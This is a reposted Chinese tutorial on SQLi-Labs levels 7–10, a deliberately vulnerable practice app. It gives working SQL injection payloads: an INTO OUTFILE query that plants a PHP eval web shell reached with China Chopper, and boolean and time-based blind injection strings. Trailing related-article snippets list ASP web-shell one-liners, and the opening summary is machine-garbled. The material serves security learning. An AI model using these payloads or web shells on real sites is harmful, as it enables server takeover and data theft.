SQLi-Labs:Less7-Less10

摘要:
˃“intoutfile”C:phpStudy PHPTutorial WWW sqli labs master Less-7 zjj。php’--+如下图所示,我们可以直接访问URL:http://localhost/sqli-labs-master/Less-7/zjj.php如下图所示,由于该木马程序是用PHP编写的,因此这里没有显示以下页面开始与中国菜刀连接,复制上面的URL,打开中国菜刀,右键单击添加,输入上面提到的链接和密码,单击添加,双击新条目,我们成功地获得了该网站的webshellLesson8,通常先输入哪个?Id=1'andif--+这意味着第一个字母是m。经过我的验证,第四个数据库是mysqlLess9。第一个?

 因为我们用的是phpstudy,所以存在一个文件读写权限问题,我们需要修改一下,首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值,如果像下图一样显示为NULL(这个必须做,要不然后面一句话木马写不到目录里)

SQLi-Labs:Less7-Less10第1张

 需要打开 C:phpstudyPHPTutorialMySQLmy.ini文件,在其中加上一句:secure_file_priv="/"

SQLi-Labs:Less7-Less10第2张

 重启phpstudy,在Mysql命令行重新输入命令

SQLi-Labs:Less7-Less10第3张

再加个小知识:用到的两个函数:load_file()  读取本地文件  into outfile 写文件    可以百度函数用法,提示路径需要用双斜线


Less 7

我们先输入了?id=1,根据sql语句输出我们可以知道这次是单引号加双括号的字符型注入,闭合方式为?id=1'))    --+

一般查看是否有错误是加单引号,像这一关就是,加了单引号报错,说明存在注入

但是页面显示和前两关不一样,you are in........的后面多了use  outfile........,说明这一关让我们使用outfile函数

SQLi-Labs:Less7-Less10第4张

 还是自己练手的原因,找到了闭合方式和这熟悉的you are in.......,我忍不住用第五关的方式尝试了一下还是可以的

首先尝试了left()函数

SQLi-Labs:Less7-Less10第5张

 SQLi-Labs:Less7-Less10第6张

尝试了ASCII码方式,均可

 SQLi-Labs:Less7-Less10第7张

 SQLi-Labs:Less7-Less10第8张

接下来我们听话use outfile,我们会想到使用 mysql 写文件,eg:写入一句话木马,使用菜刀等工具连接

下面我们将一句话木马写入a.php文件中。。。(存放位置:C:phpStudyPHPTutorialWWWsqli-labs-masterLess-7)

 语句:?id=-1')) union select 1,2, '<?php @eval($_POST["jyx"]); ?>' into outfile 'C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\zjj.php' --+   (一句话木马里面的jyx是密码)SQLi-Labs:Less7-Less10第9张

 如下图所示才叫写入成功

SQLi-Labs:Less7-Less10第10张

我们先直接进行访问,url:http://localhost/sqli-labs-master/Less-7/zjj.php如下,因为一句话木马是用php写的,在这里没有显示

 SQLi-Labs:Less7-Less10第11张

 下面用中国菜刀开始进行连接,复制上方的url,打开中国菜刀,右键添加,输入链接和上方提到的密码,点击添加

SQLi-Labs:Less7-Less10第12张

 双击新增条目,成功

SQLi-Labs:Less7-Less10第13张

 我们就成功拿到了这个网站的webshell


 Less 8

日常先输入?id=1

SQLi-Labs:Less7-Less10第14张

 加上单引号?id=1',You are in...消失,说明存在注入漏洞

SQLi-Labs:Less7-Less10第15张

我们加入注释符号 --+,即?id=1' --+,说明我们要以这样形式进行构造

SQLi-Labs:Less7-Less10第16张

法一:布尔盲注 

可以查出列数,使用 order by 语句:?id=1' order by 3 --+

SQLi-Labs:Less7-Less10第17张

 ?id=1' order by 4 --+,可以看出还是3列

SQLi-Labs:Less7-Less10第18张

 剩下的与第五关的类似,可以用left()函数,可以用ASCII码方法(猜解速度较慢),还可以用burp suite爆破

法二:时间盲注

小知识:if()函数——IF(condition,A,B),如果condition为true,执行A,否则执行B(若在mysql命令行中使用,首先要use ****数据库才行)

首先?id=1' and sleep(5) --+,查看网络,发现存在漏洞并可以采用时间盲注

SQLi-Labs:Less7-Less10第19张

我们使用if() + length()的组合猜解库名长度,这里页面返回时间正常,所以条件为真,库名长度大于7

?id=1' and if(length(database())>7,1,sleep(5)) --+

SQLi-Labs:Less7-Less10第20张

 ?id=1' and if(length(database())>8,1,sleep(5)) --+,根据返回时间说明条件为假,结合上面可知库名长度为8

SQLi-Labs:Less7-Less10第21张

猜库名

 ?id=1' and if(ascii(mid((select database()),1,1))>114,1,sleep(5)) --+

SQLi-Labs:Less7-Less10第22张

 ?id=1' and if(ascii(mid((select database()),1,1))>115,1,sleep(5)) --+    说明第一个字母的ASCII码值为115,对照表知道为s,以此类推知道后几个字母

SQLi-Labs:Less7-Less10第23张

 猜其他库的库名,比如第四个库的第一个字母

 ?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 3,1),1,1))>108,1,sleep(5)) --+

SQLi-Labs:Less7-Less10第24张

?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 3,1),1,1))>109,1,sleep(5)) --+

SQLi-Labs:Less7-Less10第25张

 说明这第一个字母是m,经我查证,第四个库是mysql

SQLi-Labs:Less7-Less10第26张


Less 9

首先?id=1

SQLi-Labs:Less7-Less10第27张

 再?id=1’

SQLi-Labs:Less7-Less10第28张

 前面的什么双引号、单括号、双括号都试过,说明无论对错页面都不会产生变化的,所以使用sleep函数试了下

?id=1’ and sleep(5)--+ 使用这个语句时候,网页会停顿5秒,即存在注入漏洞

SQLi-Labs:Less7-Less10第29张

我们可以使用第8关中的时间盲注进行操作,不可以使用布尔盲注,因为布尔盲注还是根据正确错误有不同的页面呈现的,这里始终页面是不变的;


Less 10

首先继续?id=1

SQLi-Labs:Less7-Less10第30张

 剩下与第九关相同,我们只要注意闭合方式是双引号的就可以啦

SQLi-Labs:Less7-Less10第31张

免责声明:文章转载自《SQLi-Labs:Less7-Less10》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇HTTP访问控制(CORS)ThinkPHP 3.2.3 自动加载公共函数文件的方法下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

一句话木马:ASP篇

ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%> <%execute(request("chopper"))%> <%ExecuteGlobal request("chopper")%> <%Eval(Reque...

利用Axis2默认口令安全漏洞可入侵WebService网站

利用Axis2默认口令安全漏洞可入侵WebService网站 近期,在乌云上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基础之上进行了技术思路的拓展。 乌云Axis2默认口令安全弱点利用案例: 航空安全之四川航空某系统漏洞导致Getshell(影响内网60多台主机安全目测已被其...

web shell

介绍: 为什么文件上传存在漏洞 上传文件时,如果服务器代码未对客户端上传的文件进行严格的验证和过滤,就容易造成 可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp 等格式的文件)。 ·危害 非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本 文件,又称之为 webshell,也可将 webshell 脚本...